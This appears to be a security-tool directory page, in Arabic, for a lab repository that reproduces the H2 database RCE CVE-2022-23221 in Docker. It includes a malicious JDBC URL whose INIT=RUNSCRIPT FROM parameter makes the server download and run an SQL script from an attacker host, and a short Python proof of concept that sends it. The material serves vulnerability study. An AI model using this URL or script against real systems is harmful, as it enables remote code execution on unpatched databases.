Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
أدوات/GitHubGitHub/straightsang/h2-database-cve-2022-23221
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

عرض المستودع
23منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

H2 Database RCE (CVE-2022-23221)


1. الملخص

  • المرجع: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 هو نظام لإدارة قواعد البيانات العلائقية، ويوفر ميزة تتيح تجميع وتنفيذ شيفرة Java مباشرةً داخل محرك SQL.

  • يقوم مشغّل H2 بتحليل عنوان JDBC URL لإنشاء الاتصال بين التطبيق وقاعدة البيانات. وفي هذه الأثناء يمكن التحكم في الحالة الأولية لقاعدة البيانات أو سلوكها من خلال معاملات الإعداد المضمّنة في العنوان.

  • تعاني الإصدارات السابقة لـ H2 2.1.210 المتأثرة بالمشكلة من ثغرة تتيح تنفيذ سكربت SQL عن بُعد عبر معامل INIT في عنوان JDBC URL. ويستغل المهاجم ذلك بحقن سكربت SQL مُعدَّل عن بُعد، ومن خلال الصياغات الموجودة داخله ينفّذ أوامر النظام، مما يؤدي إلى إثارة ثغرة CVE-2022-23221.

  • تتميز هذه الثغرة بالخصائص التالية.

    1. لا حاجة للمصادقة: يكفي أن يمتلك المستخدم صلاحية إدخال عنوان JDBC URL ليتمكن أي شخص من استغلال هذه الثغرة والاستيلاء على التحكم في النظام.
    2. التنفيذ التلقائي عند بدء الخدمة: يكفي أن يعدّل المهاجم ملف الإعدادات ليحدث RCE (تنفيذ شيفرة عن بُعد) تلقائيًا عند بدء الخدمة التي تستخدم H2.
    3. التخفّي: يصعب على المطوّر إدراك الهجوم.
    4. اتساع نطاق الضرر: بفضل سرعة H2 وخفته، يُستخدم H2 على نطاق واسع في تطوير واختبار خدمات ويب متنوعة. وبما أن كل بيئة تتيح ضبط عنوان JDBC URL عبر ملف الإعدادات أو عبر مدخلات المستخدم يمكن أن تكون هدفًا للهجوم باستغلال هذه الثغرة، فإن تأثيرها واسع.
  • نطاق تأثير الثغرة

    • الإصدارات المتأثرة: H2 أقل من 2.1.210
    • الإصدار المُرقَّع: H2 2.1.210 أو أحدث

2. شروط الثغرة

  • أن يكون الإصدار سابقًا لـ H2 2.1.210.
  • أن يتضمن عنوان JDCB URL ما يلي: IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> تجاوز إعدادات الأمان
      • عند وجود هذا المعامل تُعطَّل إعدادات الأمان، لذا لا يُحظر أمر تنفيذ السكربت عن بُعد أثناء التهيئة بل يُنفَّذ كما هو.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> أمر SQL يُنفَّذ تلقائيًا عند اتصال التطبيق بقاعدة البيانات
      • إذا كانت قيمة معامل INIT تتضمن أمر SQL وهو RUNSCRIPT مع عنوان سكربت خبيث، فإن H2 يتصل بذلك الخادم ويُنزّل الملف ويُنفّذه عند إنشاء الاتصال بين التطبيق وقاعدة بيانات H2.
  • أن يتضمن سكربت SQL الذي تم تنزيله صياغة CREATE ALIAS الخاصة بـ SQL.
    • تجعل صياغة CREATE ALIAS داخل السكربت المطلوب تنفيذه عن بُعد H2 ينفّذ دالة Java الموجودة في السكربت داخل قاعدة البيانات، وينتج عن ذلك RCE في النهاية.




3. إعداد البيئة

  • السيناريو

    • إعداد بيئة H2 ضعيفة، وإدخال عنوان JDBC URL خبيث إلى H2. يقوم H2 بتحليل هذا العنوان دون تحقق سليم، ويستقبل ملف sql من خادم المهاجم وينفّذه. إذا ظهرت في سجلات خادم h2-vulnerable السلسلة "EXPLOITED" مع نتائج تنفيذ الأوامر id وwhoami وpwd، فهذا يعني أن بيئة H2 الضعيفة قد أُعدّت، وأن H2 أثناء تحليل عنوان JDBC URL الخبيث قام بتنزيل ملف exploit.sql عن بُعد من خادم المهاجم الخارجي وتنفيذه.
  • إعداد البيئة

    docker compose up -d 
    

    docker ps

    • عند تنفيذ الأمر تبدأ البيئات التالية.
    • h2-vulnerable: H2 2.0.206 (إصدار ضعيف قبل الترقيع)
      • وحدة تحكم H2 على الويب: http://your-ip:8082
      • خادم TCP: tcp://your-ip:9092
    • attacker: خادم HTTP
      • http://your-ip:8000 : يوفّر ملف exploit.sql
  • بعد تكوين البيئة، عند الوصول إلى http://your-ip:8082 تظهر صفحة H2 على الويب.




4. إجراءات إعادة الإنتاج

: في وحدة تحكم الويب تُطبَّق سياسة أمان، لذا قد تُرشَّح المعاملات التي تُعد شرطًا للثغرة، لذلك يتم إدخال عنوان JDBC URL الذي يحتوي على معاملات خبيثة مباشرةً عبر CLI لإعادة إنتاج الثغرة والتحقق من النتيجة.

[حالة الطلب الطبيعي]

  • عنوان JDBC URL الطبيعي: "jdbc:h2:mem:test"

  • أمر الطلب الطبيعي

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • نتيجة التنفيذ التنفيذ عبر CLI

    • لا توجد طلبات واردة إلى خادم attacker
    • لا تُطبع أي سجلات ملحوظة على خادم h2-vulnerable

[حالة هجوم الثغرة]

  • عنوان JDBC خبيث: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. تنفيذ الهجوم

  • يتم إدخال عنوان JDBC URL خبيث إلى مشغّل H2 لمحاولة الاتصال بخادم attacker. وهناك طريقتان لإدخال عنوان URL في هذه الحالة.

    1. إدخال عنوان JDBC URL الخبيث مباشرةً إلى H2 Shell عبر CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    التنفيذ عبر CLI

    1. تنفيذ ملف PoC.
    python3 poc.py
    

    تنفيذ poc.py

2. طلب الملف وتنفيذه

  • يقوم H2 بطلب ملف exploit.sql (HTTP GET) من خادم attacker وفقًا لما هو محدد في معامل INIT في عنوان JDBC URL INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'، وينفّذه داخل قاعدة بيانات H2.

    1. عند تنفيذ docker logs attacker يمكن التحقق من سجل طلب ملف exploit.sql الوارد من خادم h2-vulnerable.
    docker logs attacker
    

    1. يُرجع خادم attacker ملف exploit.sql المطلوب، ويقوم خادم h2-vulnerable بتنفيذ ملف exploit.sql المستلم. في هذه الحالة تؤدي عبارة CREATE ALIAS داخل السكربت إلى تحفيز تنفيذ شيفرة جافا، مما يؤدي إلى حدوث RCE


5. شيفرة poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. نتيجة التنفيذ

  • نتيجة تنفيذ ملف exploit.sql تظهر في سجلات خادم h2-vulnerable السلسلة النصية "EXPLOITED" مع نتائج تنفيذ الأوامر id وwhoami وpwd.
تنزيل الأداة